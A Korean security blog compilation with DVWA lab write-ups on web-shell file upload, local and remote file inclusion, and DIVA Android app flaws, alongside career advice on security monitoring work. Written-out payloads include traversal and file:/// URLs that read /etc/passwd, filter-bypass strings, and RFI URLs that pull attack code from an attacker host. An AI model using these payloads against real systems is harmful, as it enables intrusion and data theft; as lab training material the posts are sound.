반응형
SMALL

1. 파일 업로드 공격 실습

파일 업로드 취약점은 공격자가 서버스크립트 코드가 포함된 파일을 올려 코드를 실행하는 공격이다. 이런 파일을 쉘이라고 하는데 쉘을 업로드해서 시스템으로 침투가 가능하다. 내부파일실행(LFI) 취약점과 비슷하며 확장자 필터링으로 차단이 가능하지만 이를 우회해서 업로드 하는 경우가 있다. 아래는 웹 쉘 확장자로 사용되는 확장자 목록이다.

 

* ASP/ASPX: asp, aspx, asa, cer, inc, cdx

* JSP: jsp, jspx

* PHP5: php, php3, php4, phtml

* PHP7: php, php3, php4, php5, pht, phtml

 

 2. 파일 업로드 공격 실습

[그림 2-1] 소스 코드

9~12번째 줄은 입력 폼을 제공하고 있다. 만약 시스템 명령어를 입력해 요청하면 cmd 파라미터를 통해 전달되고 system 함수에 의해 명령어를 실행하게 되는 웹 쉘 소스코드다.

 

[그림 2-2] 웹 쉘 업로드

Shell.php 파일을 업로드 하면 [그림 1-2]와 같이 업로드 된 경로와 함께 업로드가 성공했다는 메시지가 출력된다. http://192.168.171.173/dvwa/hackable/uploads/cmd.php URL로 접속하면 업로드 된 파일 내용을 볼 수 있다.

 

[그림 2-3] 명령어 실행

웹 쉘의 폼 필드를 통해 원하는 명령어를 실행할 수 있다. ls를 입력해 요청하면 서버에 있는 파일 목록을 볼 수 있다. 추가로 cat /etc/passwd를 입력하면 리눅스 계정 정보가 담긴 패스워드 파일들을 볼 수 있다. 폼 필드 뿐만이 아닌 URL에 직접 명령어를 입력해 실행해도 같은 결과가 나온다. 웹 쉘 업로드가 가능하면 리버스 쉘 기법 등을 활용해서 조금 더 깊은 침투가 가능하다.

 

 

 

 

반응형
LIST

'웹해킹 > DVWA' 카테고리의 다른 글

파일 업로드 공격 대응 방안  (0) 2020.01.04
파일 업로드 공격 (2)  (0) 2020.01.04
파일 실행(File Inclusion) 공격 (2)  (0) 2020.01.04
파일 실행(File Inclusion) 공격 (1)  (0) 2020.01.04
Command Injection 공격 (1)  (0) 2019.05.23
블로그 이미지

만년필석사

,
반응형
SMALL

1. 파일 실행(File Inclusion) 공격 Medium 단계 실습

(1) RFI 공격

 

[그림 1-1] 파일 실행 공격

파일 실행 공격 시도 결과 에러 메시지가 출력되지만 etc/passwd 관한 내용은 화면에 출력되지 않는 다는 것을 있다.

 

[그림 1-2] 소스 코드

소스 코드를 보면 page 변수 값에서 "http://", "https://", "../", "..\" 삭제한다. 대소문자를 구분하는 str_replace() 함수를 사용하고 있어 취약점을 이용하면 Http://, HTTP://, …/./ 등으로 우회가 가능하다. ..././ ./ 삭제되서 ../ 복구가 가능하다.

 

[그림 1-3] 우회 성공

page=HTTP://192.168.171.175/cat.php로 우회한 결과 cat.php 심어놨던 공격 코드들이 동작해 파일 내용들이 페이지에 노출 되는 것을 확인할 있다. 또한 page=Http://192.168.171.175/cat.php 우회해서 실행해도 결과값은 똑같다.

 

(2) LFI 공격

 

[그림 1-4] 우회 성공

[그림 1-4] page=..././..././..././..././..././..././..././etc/passwd 접근 화면이다. 페이지 상단에 /etc/passwd 관련된 내용들이 출력됐음을 있다. 또한 변수 검증 결함 취약점을 이용해 우회한 결과다.

 

2. 파일 실행(File Inclusion) 공격 High 단계 실습

(1) LFI공격

 

[그림 2-1] 에러 페이지

page=http://192.168.171.175/cat.php를 입력해 요청하면 에러 페이지가 나오고 원하는 결과값은 출력되지 않는다.

 

[그림 2-2] 소스 코드

소스코드를 보면 fnmatch 함수를 사용해 file*이라는 패턴, file 시작하는 경우에 매칭이 되는지에 대한 여부와 include.php 경우에만 입력을 허용했다. 만약 파일 업로드 시엔 file 시작하는 파일을 업로드 하거나 file:// 형식의 URL 사용하면 우회가 가능하다.

 

[그림 2-3] 우회 성공

page=file:///etc/passwd로 우회해서 접근하면 /etc/passwd 파일 경로 조작이 가능하다. URL에서 file 시작하고 php는 내부 파일로 인식을 하기 때문에 High 단계에서도 우회가 가능함을 있다. 공격자는 취약점이 있다는 것을 발견하고 어떤 방식으로 서버에 자신이 원하는 공격 코드가 담긴 파일을 업로드 것인지 생각하게 된다. 추가로 RFI 공격은 반드시 http 프로토콜이 들어가야 로컬 파일을 불러와 실행할 있기 때문에 현재 방어 관점에서 보면 우회가 불가능하기 때문에 실행할 없다.

 

3. 대응방안

- 외부 사용자가 입력한 파일 이름을 사용하지 않는다.

- 반드시 파일 이름의 입력값을 검증한다.

- 화이트리스트에 인클루드가 필요한 파일 이름의 목록을 작성해 화이트리스트에 있는 파일 이름들만 허용하고 나머지 파일들은 전부 차단한다.

- ../과 같은 디렉터리 트레버설 공격 문자열을 차단한다.




반응형
LIST

'웹해킹 > DVWA' 카테고리의 다른 글

파일 업로드 공격 대응 방안  (0) 2020.01.04
파일 업로드 공격 (2)  (0) 2020.01.04
파일 업로드 공격 (1)  (0) 2020.01.04
파일 실행(File Inclusion) 공격 (1)  (0) 2020.01.04
Command Injection 공격 (1)  (0) 2019.05.23
블로그 이미지

만년필석사

,
반응형
SMALL

1. 파일 실행(File Inclusion) 공격 개요

 

[그림 1-1] 파일 실행 공격 과정

파일 실행 취약점은 공격자가 지정한 파일 내에 서버스크립트를 실행하는 공격이다. 공격 대상 서버의 내부에 존재하는 파일을 이용해 공격하는 내부 파일 실행(LFI), 공격자 서버에 존재하는 파일을 가져와 공격하는 원격 파일 실행(RFI)으로 구분된다. 내부 파일을 참조한다는 점은 LFI 공격과 경로조작(Directory Traversal) 공격과 많이 흡사해서 헷갈리는 경우가 있는데 LFI 공격은 참조한 파일 내에서 코드가 실행되면 실행한 결과 페이지에 보여주고 경로조작(Directory Traversal) 공격은 서버 자체 스크립트를 포함해서 파일의 내용 그대로 페이지에 보여준다는 점에서 차이점이 있다.

 

2. LFI 공격의 위험도 구분

PHP include(), include_once(), require(), require_once() 같은 include() 계열의 함수를 사용하면서 인자를 변수에서 입력받을 취약점이 발생한다.

  • 위험도 : include($_GET['filename']);
  • 위험도 : include($_GET['filename'].'.inc');
  • 위험도 : include('include.php');

 

위험도 PHP 실행에 포함되는 인자를 filename에서 받는다. 이는 어떤 파일이라도 모두 받을 있기 때문에 제일 위험하다.  위험도 .inc 문자열을 덧붙여서 파일을 참조한다. 경우엔 filename 인자가 받더라도 .inc 문자열 검증을 해야 해서 상대적으론 위험하지만 inc 확장자를 갖는 파일을 업로드 있으면 위험하다. 위험도 특정 파일을 지정한다. 공격자가 참조 파일 이름을 없기 때문에 실행 결과엔 어떤 파일이 참조됐는지 나타나지 않아 최상의 방어가 가능하다.

 

3. RFI 공격 실습

 

 <그림 3-1> 공격 코드

 

그림 3-1의 php 파일은 RFI를 이용해서 실행할 POC 코드다. 만약 해당 php 파일이 실행되면 system 함수 안에 있는 명령어가 실행되고 /etc/passwd 내용이 출력된다. php 파일을 웹 서버 경로인 /opt/lampp/htdocs에 저장한다.

 

<그림 3-2 file1.php 인클루드>

URL을 보면 page=file1.php가 있다. Page 파라미터로 지정된 file1.php 파일이 인클루드 되서 실습 페이지를 표시하고 있다. 페이지가 전환될 때마다 Page 파라미터 값이 바뀌는데 만약 RFI 취약점이 있다면 외부 호스트에 있는 파일 실행이 가능하다.

 

<그림 3-3 RFI 공격 성공>

 

page 파라미터 뒤에 http://칼리리눅스IP/파일명을 입력하고 실행하면 cat.php 파일이 인클루드 되어 /etc/passwd 내용이 노출되었음을 볼 수 있다.

 

4. LFI 공격 실습

 

취약점 스캐너는 LFI 경로 조작을 탐지할 주로 /etc/passwd 파일을 사용한다. 파일의 시작이 root:x:0:0:이기 때문에 탐지하기가 매우 쉽다. 이미 시스템에 존재하는 파일만 접근이 가능하기에 RFI 공격보단 피해 강도가 약하다. LFI 공격은 아래의 방식으로 접근을 시도한다.

 

http://192.168.171.173/dvwa/vulnerabilities/fi/?page=/etc/passwd

http://192.168.171.173/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd

http://192.168.171.173/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

 

[그림 4-1] /etc/passwd 경로 조작

Page 파라미터에 /etc/passwd 입력 결과 페이지 상단에 리눅스 계정에 관련된 내용들이 노출됨을 있다.

 

[그림 4-2] 소스 코드

소스코드를 보면 PHP에서 실행되는 인자를 page 받고 있다. 별다른 검증도 없이 모든 파일들을 page 받기 때문에 매우 취약한 소스 코드며 파일 실행 취약점에 노출될 있다.

반응형
LIST

'웹해킹 > DVWA' 카테고리의 다른 글

파일 업로드 공격 대응 방안  (0) 2020.01.04
파일 업로드 공격 (2)  (0) 2020.01.04
파일 업로드 공격 (1)  (0) 2020.01.04
파일 실행(File Inclusion) 공격 (2)  (0) 2020.01.04
Command Injection 공격 (1)  (0) 2019.05.23
블로그 이미지

만년필석사

,
반응형
SMALL

보안관제로 취업을 희망하는 사람들의 질문을 받아보면 네트워크 지식 수준은 얼마나 되어야 하는지에 대해 많이 물어본다. 실무를 기준으로 이야기하면 네트워크 지식은 깊게 알수록 업무를 하기가 편하다. Osi 7 Layer와 같은 기초 지식을 시작으로 서브넷팅, 슈퍼넷팅, 라우팅, NAT IP에 대한 개념 등 모두 실무에 반드시 필요한 지식들이다. 하지만 이론적으로만 아는 것은 별 도움은 되지 않는다고 생각한다. 본인이 직접 네트워크에 대해 공부하며 패킷트레이서로 환경을 구축해보고 직접 실습해보며 스위치, 라우터가 어떻게 연결되고 돌아가는지에 대해 깊은 학습을 해야 많은 시너지 효과를 거둘 수 있다.

필자도 네트워크 지식이 약해 처음에 관제를 했을 때 한두달은 많이 고생했다. 한두달은 쉬는 날마다 네트워크 책만 들여다 보면서 환경까지 맞춰가며 공부했다. 그만큼 보안관제/Cert에선 깊은 네트워크 지식은 기본 전제로 깔리게 된다. 네트워크가 방대하고 깊어 다 알 순 없지만 기본적으로 쓰이는 이론들, 네트워크 환경에 대한 이해가 있다면 보안관제를 하면서는 큰 문제는 없을 것이다. 공격이 들어오는게 대부분 네트워크 단을 통해 들어오고 보안 장비들도 네트워크를 알아야 만질 수 있는 부분도 꽤 있기 때문에 다른건 몰라도 네트워크에 대한 공부는 필수적으로 하고 보안관제에 지원하라고 말한다.

추가적으로 CCNA, CCNP와 같은 네트워크 자격증을 따는 것도 지식을 쌓는데 도움이 된다. 단, 덤프를 외워서 풀면 전혀 도움이 되지 않겠지만 공부해서 문제를 풀 수 있는 수준으로 공부하면 어느 정도 네트워크에 대한 기본은 잡히게 될 것이다. 이것 저것 공부할 건 많지만 네트워크는 어느 IT 분야를 가든 기본이 되기 때문에 한번 할 때 제대로 해두면 유용한 경우가 많다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

보안관제/CERT의 장점 중 TOP에 손꼽히는 점은 다른 보안 파트에 비해 많은 보안 장비들을 다룰 수 있다는 점이다. IPS, DDX, IDS, F/W 등등 보안에 관련된 장비는 국산부터 시작해서 외산까지 너무나 다양하기 때문에 그 장비들을 접해볼 수 있는 기회가 많다는 것이다. IP를 차단할 때, 필요한 로그를 추출해 분석할 때 등 보안 장비들은 다양하게 쓰일 수 있다. 하지만 회사마다 장비를 만질 수 있는 권한은 천차만별이다. 예를 든다면 어떤 곳은 1년차까진 로그 정보만 볼 수 있게 하고 2년차는 트래픽까지 볼 수 있게 하고 3년차는 패턴 관리 정보까지 주는 곳이 있다.

또한 어떤 곳은 연차가 올라간다고 100% 권한을 더 주는 것도 아니고 본인이 얼마나 보안관제 업무를 함에 있어서 퍼포먼스를 내느냐에 따라서도 달라지는 회사들도 있다. 이렇게 보안 장비들의 권한을 제한을 두게 되는 곳이 상당수다. 그렇다고 처음에 보안관제로 들어가게 되서 너무 실망하지 않았으면 좋겠다. 보안 장비 권한은 연수가 올라가고 본인의 능력 여부에 따라 권한이 많아지며 기초부터 차근차근 배우며 올라간다고 긍정적으로 생각한다면 어려운 일은 아니다. 물론 보안 장비의 권한을 전부 다 주는 곳도 있으며 Cert까지 같이 하는 곳은 포렌식 장비들까지 권한을 주며 신입때부터 패턴 관리 정보 권한을 줘서 실제로 본인이 패턴을 반영할 수 있게도 된다.

필자가 생각하기에 보안 영역 중 장비를 가장 많이 다뤄볼 수 있고 눈으로 트래픽을 직접 관찰할 수 있는 파트는 보안관제/CERT 파트이며 처음 보안에 입문했을 때 많은 것을 배우고 느끼고 얻을 수 있으며 보안 파트에서 첫 시작으로도 괜찮다. 보안관제/CERT 파트를 한번 경험하고 나면 추후 컨설팅 분야로 직무를 전환했을 때도 각 고객사들의 네트워크 구조를 이해하는 속도가 빨라지며 한결 수월한 컨설팅을 진행할 수 있는 자신을 발견할 수 있을 것이다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

보안 공부를 시작하면 가장 먼저 접하는게 웹 해킹 분야이다. 사실 웹 해킹도 생각했던 것보다 범위가 넓고 쉬운건 아니다. 필자는 웹 해킹을 하기 전에 html, css, javascript 등과 같은 웹에서 사용하는 기본 언어들을 익히고 웹을 직접 만들어본 후 웹 해킹에 도전하라고 권유하고 싶다. 웹이 실행되고 돌아가는 로직을 알아야 해킹도 가능하고 소스코드 진단까지 가능해지기 때문에 웹 개발부터 하는 것을 추천한다. 어느정도 웹에 대해 알고 조금 익숙해지면 웹 해킹을 공부하게 되는데 보안관제에서도 웹 해킹은 기본이다. 90%이상이 웹에 관련된 공격이 들어오며 웹 공격의 종류, 대응 방안을 모른다면 로그 분석을 할 때 상당히 난해함을 겪게 될 수도 있다. 회사마다 다르겠지만 국내 IP 뿐 아니라 해외 IP로도 웹 공격이 상당히 많이 들어오기 때문에 웹 해킹 분야에 대해선 확실히 익혀놓는게 좋다. Webgoat, 워게임 등 CTF를 푸는 것도 보안 관제 업무를 함에 있어서 많은 도움이 된다. CTF 문제들도 다양하고 여기에서도 웹 공격에 관련된 해킹 공격을 상당히 많이 공부할 수 있기 때문에 어느정도 CTF를 풀어보고 보안 관제 업무를 하면 시야가 또 달라보인다. 필자도 보안 관제 일을 하면서 웹 해킹 공부를 열심히 했던게 큰 도움이 되었다. CTF 문제들을 엄청 많이 풀어본건 아니었지만 업무를 함으로써 기본적으로 하는 WebGoat, 워게임 정도는 어느정도 풀었고 이 공격들이 어떻게 실행되고 돌아갈지, 소스코드 시큐어코딩, 대응 방안 등을 생각해보며 문제에 접근했다. 단순히 CTF 문제를 푸는 것만 생각한다면 본인한테 큰 도움이 되진 않겠지만 문제를 품으로써 여러가지 대응 방안, 풀이법, 이 공격이 어떻게 실행되고 로직이 돌아가는지 등 깊은 지식으로 공부하게 되면 시너지 효과가 엄청날 수 있다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

<그림 1-1 URL 값 입력>

DIVA 앱을 실행해 8. Input Validation Issue - Part 2를 선택하면 입력 창이 나오는데 일반적인 네이버 페이지를 입력해 접근해본다.

<그림 1-2 네이버 페이지>

웹 URL을 입력하고 View를 클릭하면 그림 1-2와 같은 네이버 페이지가 나오는데 사진으로 봐선 별다른 공격이나 특이사항은 없다.

 

<그림 1-3 소스 코드>

소스 코드를 보면 육안으로 봐선 별 문제가 없어보이지만 loaduri쪽을 보면 사용자가 입력한 값에 대해 별다른 인증절차도 없이 바로 전송된다는 걸 확인할 수 있다. loaduri 전송 외에도 파일 접근도 시도해볼 수 있는데 file:/// 형식으로 접근하면 된다.

 

<그림 1-4 민감한 데이터 노출>

Diva 앱에서 중요 정보 데이터가 저장되는 파일은 .uinfo.txt였는데 이 파일이 있는 경로를 입력한다. 이 파일이 있었던 곳은 sdcardcard에 있었다. file:///sdcard/.uinfo.txt를 입력하고 View를 클릭하면 그림 1-4와 같이 계정 정보가 그대로 노출되는 취약점이 있다는 것을 확인할 수 있다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

<그림 1-1 하드 코딩 힌트>

DIVA 앱을 실행하고 2. Hardcoding Issue - Part 1을 선택하면 맨 위 상단에 힌트가 나오는데 어디에 하드코딩된 정보가 있는지 찾으라고 나온다. 하지만 이 앱만 봐서는 하드코딩된 정보를 찾을 순 없다.

<그림 1-2 값 입력>

중간에 어떤 걸 Access 하는게 있는데 아무런 값이나 대입하고 Access를 실행해보니 Access가 거부되었다는 메시지가 표시된다.

 

<그림 1-3 소스 코드>

소스 코드를 보면 access 하는 함수 부분에서 사용자가 입력한 값과 vendorsecretkey라는 문자열과 비교하고 있다. 여기서 vendorsecretkey가 Access 할 수 있는 Key 값임을 알 수 있다. 그림 1-3과 같이 코드에 Key 값이 노출되면 매우 위험하다고 판단할 수 있으며 하드코딩 취약점으로 판별할 수 있다.

<그림 1-5 Key 값 입력>

Diva 앱으로 다시 돌아와 입력값란에 vendorsecretkey를 입력하고 Access하면 성공적으로 Access가 되었다는 메시지가 표시된다.

반응형
LIST
블로그 이미지

만년필석사

,